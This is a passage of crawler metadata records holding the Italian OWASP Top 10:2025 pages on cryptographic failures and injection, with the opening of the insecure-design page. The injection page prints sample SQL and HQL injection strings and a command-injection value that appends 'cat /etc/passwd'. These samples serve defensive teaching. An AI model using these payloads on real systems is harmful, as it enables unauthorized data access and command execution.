"91e5f6e99b6ee211688afacca007e7a622b591eba358aeee9860f3ce60a32a9c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A04_2025-Cryptographic_Failures/", "titulek": "A04 Cryptographic Failures - OWASP Top 10:2025", "h1": "A04:2025 Cryptographic Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A04_2025-Cryptographic_Failures/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 Cryptographic Failures"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A04:2025 Cryptographic Failures\n\n## Contesto.\n\nScendendo di due posizioni al #4, questa debolezza si concentra sui fallimenti legati all'assenza di crittografia, a una crittografia insufficientemente forte, alla divulgazione di chiavi crittografiche e agli errori correlati. Tre delle CWE più comuni in questo rischio riguardano l'uso di un generatore di numeri pseudo-casuali debole: *CWE-327 Use of a Broken or Risky Cryptographic Algorithm, CWE-331: Insufficient Entropy*, *CWE-1241: Use of Predictable Algorithm in Random Number Generator*, e *CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)*.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13,77% | 3,80% | 100,00% | 47,74% | 7,23 | 3,90 | 1.665.348 | 2.185 |\n\n## Descrizione.\n\nIn linea generale, tutti i dati in transito devono essere cifrati a livello di [trasporto](https://en.wikipedia.org/wiki/Transport_layer) ([livello OSI](https://en.wikipedia.org/wiki/OSI_model) 4). Gli ostacoli precedenti come le prestazioni della CPU e la gestione di chiavi private/certificati sono ora gestiti da CPU con istruzioni progettate per accelerare la cifratura (es. [supporto AES](https://en.wikipedia.org/wiki/AES_instruction_set)) e dalla semplificazione della gestione di chiavi private e certificati da parte di servizi come [LetsEncrypt.org](https://LetsEncrypt.org), con i principali vendor cloud che forniscono servizi di gestione dei certificati ancora più integrati per le loro specifiche piattaforme.\n\nOltre alla protezione del livello di trasporto, è importante determinare quali dati necessitano di cifratura a riposo e quali dati necessitano di cifratura aggiuntiva in transito (al [livello applicativo](https://en.wikipedia.org/wiki/Application_layer), livello OSI 7). Ad esempio, password, numeri di carta di credito, cartelle cliniche, informazioni personali e segreti aziendali richiedono una protezione aggiuntiva, specialmente se tali dati sono soggetti a leggi sulla privacy, es. il Regolamento Generale sulla Protezione dei Dati (GDPR) dell'UE, o normative come il PCI Data Security Standard (PCI DSS). Per tutti questi dati:\n\n- Vengono utilizzati algoritmi o protocolli crittografici vecchi o deboli, sia per default che nel codice meno recente?\n- Vengono utilizzate chiavi crittografiche predefinite, vengono generate chiavi crittografiche deboli, le chiavi vengono riutilizzate, o manca una corretta gestione e rotazione delle chiavi?\n- Le chiavi crittografiche vengono inserite nei repository di codice sorgente?\n- La cifratura non viene applicata, es. mancano direttive o header di sicurezza HTTP (browser)?\n- Il certificato del server ricevuto e la catena di fiducia vengono correttamente validati?\n- I vettori di inizializzazione vengono ignorati, riutilizzati o non generati in modo sufficientemente sicuro per la modalità di operazione crittografica? Viene utilizzata una modalità operativa non sicura come ECB? Viene utilizzata la cifratura quando sarebbe più appropriata la cifratura autenticata?\n- Le password vengono utilizzate come chiavi crittografiche in assenza di una funzione di derivazione delle chiavi basata su password?\n- Viene utilizzata la casualità non progettata per soddisfare i requisiti crittografici? Anche se viene scelta la funzione corretta, deve essere seminata dallo sviluppatore, e in caso contrario, lo sviluppatore ha sovrascritto la forte funzionalità di seeding integrata con un seed privo di sufficiente entropia/imprevedibilità?\n- Vengono utilizzate funzioni hash deprecate come MD5 o SHA1, o vengono usate funzioni hash non crittografiche quando sono necessarie funzioni hash crittografiche?\n- I messaggi di errore crittografici o le informazioni sui canali laterali sono sfruttabili, ad esempio sotto forma di attacchi padding oracle?\n- L'algoritmo crittografico può essere declassato o bypassato?\n\nVedi i riferimenti ASVS: Cryptography (V11), Secure Communication (V12) e Data Protection (V14).\n\n## Come prevenire.\n\nFare almeno quanto segue e consultare i riferimenti:\n\n- Classificare ed etichettare i dati elaborati, archiviati o trasmessi da un'applicazione. Identificare quali dati sono sensibili secondo le leggi sulla privacy, i requisiti normativi o le esigenze aziendali.\n- Archiviare le chiavi più sensibili in un HSM hardware o cloud.\n- Utilizzare implementazioni ben consolidate degli algoritmi crittografici ogni volta che è possibile.\n- Non archiviare dati sensibili inutilmente. Eliminarli il prima possibile o utilizzare la tokenizzazione conforme a PCI DSS o anche la troncatura. I dati non conservati non possono essere rubati.\n- Assicurarsi di cifrare tutti i dati sensibili a riposo.\n- Garantire che algoritmi, protocolli e chiavi standard aggiornati e robusti siano in uso; utilizzare una corretta gestione delle chiavi.\n- Cifrare tutti i dati in transito con protocolli >= TLS 1.2 solamente, con cifrari con forward secrecy (FS), eliminare il supporto per i cifrari con cipher block chaining (CBC), supportare algoritmi di cambio chiave quantistici. Per HTTPS, applicare la cifratura utilizzando HTTP Strict Transport Security (HSTS). Verificare tutto con uno strumento.\n- Disabilitare la cache per le risposte che contengono dati sensibili. Questo include la cache nel CDN, nel web server e nella cache applicativa (es. Redis).\n- Applicare i controlli di sicurezza richiesti in base alla classificazione dei dati.\n- Non utilizzare protocolli non cifrati come FTP e STARTTLS. Evitare l'uso di SMTP per trasmettere dati riservati.\n- Archiviare le password utilizzando funzioni di hashing adaptive e con salt con un work factor (delay factor), come Argon2, yescrypt, scrypt o PBKDF2-HMAC-SHA-512. Per i sistemi legacy che utilizzano bcrypt, consultare [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) .\n- I vettori di inizializzazione devono essere scelti in modo appropriato per la modalità di operazione. Ciò potrebbe significare l'uso di un CSPRNG (generatore di numeri pseudo-casuali crittograficamente sicuro). Per le modalità che richiedono un nonce, il vettore di inizializzazione (IV) non necessita di un CSPRNG. In tutti i casi, l'IV non deve mai essere usato due volte per una chiave fissa.\n- Utilizzare sempre la cifratura autenticata anziché la sola cifratura.\n- Le chiavi devono essere generate crittograficamente in modo casuale e archiviate in memoria come array di byte. Se viene utilizzata una password, deve essere convertita in una chiave tramite una funzione appropriata di derivazione delle chiavi basata su password.\n- Garantire che la casualità crittografica venga utilizzata dove appropriato e che non sia stata seminata in modo prevedibile o con bassa entropia. La maggior parte delle API moderne non richiede allo sviluppatore di seminare il CSPRNG per essere sicuro.\n- Evitare funzioni crittografiche deprecate, metodi di costruzione a blocchi e schemi di padding, come MD5, SHA1, Cipher Block Chaining Mode (CBC), PKCS numero 1 v1.5.\n- Garantire che le impostazioni e le configurazioni soddisfino i requisiti di sicurezza facendole rivedere da specialisti della sicurezza, strumenti progettati a tale scopo, o entrambi.\n- È necessario prepararsi ora per la crittografia post-quantistica (PQC), vedi riferimento (ENISA), in modo che i sistemi ad alto rischio siano al sicuro entro la fine del 2030.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Un sito non utilizza o non applica TLS per tutte le pagine o supporta cifratura debole. Un attaccante monitora il traffico di rete (es. su una rete wireless non sicura), fa il downgrade delle connessioni da HTTPS a HTTP, intercetta le richieste e ruba il cookie di sessione dell'utente. L'attaccante poi riproduce questo cookie e dirottà la sessione (autenticata) dell'utente, accedendo o modificando i dati privati dell'utente. In alternativa potrebbe alterare tutti i dati trasportati, es. il destinatario di un bonifico bancario.\n\n**Scenario #2:** Il database delle password utilizza hash non salati o semplici per archiviare le password di tutti. Una falla di caricamento file consente a un attaccante di recuperare il database delle password. Tutti gli hash non salati possono essere esposti con una rainbow table di hash pre-calcolati. Gli hash generati da funzioni hash semplici o veloci possono essere violati dalle GPU, anche se erano salati.\n\n## Riferimenti.\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## Lista delle CWE Mappate\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 13319, "slov": 1557, "odkazu": 82, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:06", "sha256": "4d63720f250227c5fd38aef8e9829d3a70392cecc4df21819ec0e3c82ba60bd6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A05_2025-Injection/", "titulek": "A05 Injection - OWASP Top 10:2025", "h1": "A05:2025 Injection", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A05_2025-Injection/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Injection"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A05:2025 Injection\n\n## Contesto.\n\nL'Injection scende di due posizioni dal #3 al #5 nella classifica, mantenendo la sua posizione relativa rispetto ad A04:2025-Cryptographic Failures e A06:2025-Insecure Design. L'Injection è una delle categorie più testate, con il 100% delle applicazioni testate per qualche forma di injection. Ha avuto il maggior numero di CVE per qualsiasi categoria, con 37 CWE in questa categoria. L'Injection include Cross-site Scripting (alta frequenza/basso impatto) con oltre 30k CVE e SQL Injection (bassa frequenza/alto impatto) con oltre 14k CVE. Il numero massivo di CVE segnalati per CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') abbassa l'impatto medio ponderato di questa categoria.\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13,77% | 3,08% | 100,00% | 42,93% | 7,15 | 4,32 | 1.404.249 | 62.445 |\n\n## Descrizione.\n\nUna vulnerabilità di injection è una falla applicativa che consente all'input non attendibile dell'utente di essere inviato a un interprete (es. un browser, un database, la riga di comando) e fa sì che l'interprete esegua parti di quell'input come comandi.\n\nUn'applicazione è vulnerabile agli attacchi quando:\n\n- I dati forniti dall'utente non vengono validati, filtrati o sanificati dall'applicazione.\n- Query dinamiche o chiamate non parametrizzate senza escape consapevole del contesto vengono utilizzate direttamente nell'interprete.\n- Dati non sanificati vengono utilizzati nei parametri di ricerca dell'object-relational mapping (ORM) per estrarre record aggiuntivi e sensibili.\n- Dati potenzialmente ostili vengono direttamente utilizzati o concatenati. L'SQL o il comando contiene la struttura e i dati malevoli in query dinamiche, comandi o stored procedure.\n\nAlcune delle injection più comuni sono SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP e Expression Language (EL) o Object Graph Navigation Library (OGNL) injection. Il concetto è identico tra tutti gli interpreti. Il rilevamento è meglio ottenuto tramite una combinazione di revisione del codice sorgente e testing automatizzato (incluso il fuzzing) di tutti i parametri, header, URL, cookie, dati JSON, SOAP e XML. L'aggiunta di strumenti di testing della sicurezza applicativa statici (SAST), dinamici (DAST) e interattivi (IAST) nella pipeline CI/CD può essere utile per identificare le falle di injection prima della distribuzione in produzione.\n\nUna classe correlata di vulnerabilità di injection è diventata comune negli LLM. Queste sono discusse separatamente nell'[OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/), specificamente [LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/).\n\n## Come prevenire.\n\nIl modo migliore per prevenire l'injection richiede di mantenere i dati separati dai comandi e dalle query:\n\n- L'opzione preferita è utilizzare un'API sicura, che eviti l'uso dell'interprete interamente, fornisca un'interfaccia parametrizzata, o migri verso Object Relational Mapping Tools (ORM). **Nota:** Anche quando parametrizzate, le stored procedure possono ancora introdurre SQL injection se PL/SQL o T-SQL concatena query e dati o esegue dati ostili con EXECUTE IMMEDIATE o exec().\n\nQuando non è possibile separare i dati dai comandi, è possibile ridurre le minacce utilizzando le seguenti tecniche.\n\n- Utilizzare la validazione degli input positiva lato server. Non si tratta di una difesa completa poiché molte applicazioni richiedono caratteri speciali, come aree di testo o API per applicazioni mobile.\n- Per qualsiasi query dinamica residua, eseguire l'escape dei caratteri speciali utilizzando la sintassi di escape specifica per quell'interprete. **Nota:** Le strutture SQL come i nomi delle tabelle, i nomi delle colonne, ecc. non possono essere sottoposte a escape, quindi i nomi di struttura forniti dall'utente sono pericolosi. Questo è un problema comune nel software di generazione di report.\n\n**Attenzione:** queste tecniche implicano l'analisi e l'escape di stringhe complesse, rendendole soggette a errori e non robuste a fronte di piccole modifiche al sistema sottostante.\n\n## Scenari di attacco di esempio.\n\n**Scenario #1:** Un'applicazione utilizza dati non attendibili nella costruzione della seguente chiamata SQL vulnerabile:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\nUn attaccante modifica il valore del parametro 'id' nel browser inviando: `' OR '1'='1`. Ad esempio:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\nQuesto modifica il significato della query per restituire tutti i record dalla tabella degli account. Attacchi più pericolosi potrebbero modificare o eliminare dati o persino invocare stored procedure.\n\n**Scenario #2:** L'eccessiva fiducia di un'applicazione nei framework può risultare in query ancora vulnerabili. Ad esempio, Hibernate Query Language (HQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nUn attaccante fornisce: `' OR custID IS NOT NULL OR custID='`. Questo bypassa il filtro e restituisce tutti gli account. Sebbene HQL abbia meno funzioni pericolose del SQL grezzo, consente ancora l'accesso non autorizzato ai dati quando l'input dell'utente viene concatenato nelle query.\n\n**Scenario #3:** Un'applicazione passa direttamente l'input dell'utente a un comando OS:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\nUn attaccante fornisce `example.com; cat /etc/passwd` per eseguire comandi arbitrari sul server.\n\n## Riferimenti.\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP LLM Top 10: LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/)\n\n## Lista delle CWE Mappate\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 8224, "slov": 982, "odkazu": 55, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:07", "sha256": "704fdc87648c719fc8422c7f644a6b2339a6e5010236323bfb08bec3c0c98c75", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/it/A06_2025-Insecure_Design/", "titulek": "A06 Insecure Design - OWASP Top 10:2025", "h1": "A06:2025 Insecure Design", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/it/A06_2025-Insecure_Design/", "jazyk": "it", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 Insecure Design"}, {"uroven": 2, "text": "Contesto."}, {"uroven": 2, "text": "Tabella dei punteggi."}, {"uroven": 2, "text": "Descrizione."}, {"uroven": 3, "text": "Requisiti e Gestione delle Risorse"}, {"uroven": 3, "text": "Design Sicuro"}, {"uroven": 3, "text": "Secure Development Lifecycle"}, {"uroven": 2, "text": "Come prevenire."}, {"uroven": 2, "text": "Scenari di attacco di esempio."}, {"uroven": 2, "text": "Riferimenti."}, {"uroven": 2, "text": "Lista delle CWE Mappate"}], "markdown": "# A06:2025 Insecure Design\n\n## Contesto.\n\nL'Insecure Design scende di due posizioni dal #4 al #6 nella classifica mentre **[A02:2025-Security Misconfiguration](../A02_2025-Security_Misconfiguration/)** e **[A03:2025-Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)** la superano. Questa categoria è stata introdotta nel 2021 e abbiamo visto miglioramenti evidenti nel settore relativi al threat modeling e una maggiore enfasi sulla progettazione sicura. Questa categoria si concentra sui rischi legati a falle di design e architetturali, con un appello a un maggiore utilizzo del threat modeling, di pattern di design sicuro e di architetture di riferimento. Ciò include falle nella logica di business di un'applicazione, es. la mancanza di definizione di cambiamenti di stato indesiderati o imprevisti all'interno di un'applicazione. Come community, dobbiamo andare oltre lo \"shift-left\" nello spazio del codice, verso attività pre-codice come la stesura dei requisiti e la progettazione dell'applicazione, che sono critiche per i principi di Secure by Design (es. vedi **[Establish a Modern AppSec Program: Planning and Design Phase](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**). Le CWE notevoli includono *CWE-256: Unprotected Storage of Credentials, CWE-269 Improper Privilege Management, CWE-434 Unrestricted Upload of File with Dangerous Type, CWE-501: Trust Boundary Violation, e CWE-522: Insufficiently Protected Credentials.*\n\n## Tabella dei punteggi.\n\n| CWE Mappate | Tasso Massimo di Incidenza | Tasso Medio di Incidenza | Copertura Massima | Copertura Media | Exploit Medio Ponderato | Impatto Medio Ponderato | Totale Occorrenze | Totale CVE |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22,18% | 1,86% | 88,76% | 35,18% | 6,96 | 4,05 | 729.882 | 7.647 |\n\n## Descrizione.\n\nL'Insecure Design è una categoria ampia che rappresenta diverse debolezze, espresse come \"progettazione dei controlli mancante o inefficace\". L'Insecure Design non è la fonte di tutte le altre categorie di rischio del Top Ten. Si noti che c'è una differenza tra Insecure Design e implementazione non sicura. Distinguiamo tra falle di design e difetti di implementazione per una ragione: hanno cause principali 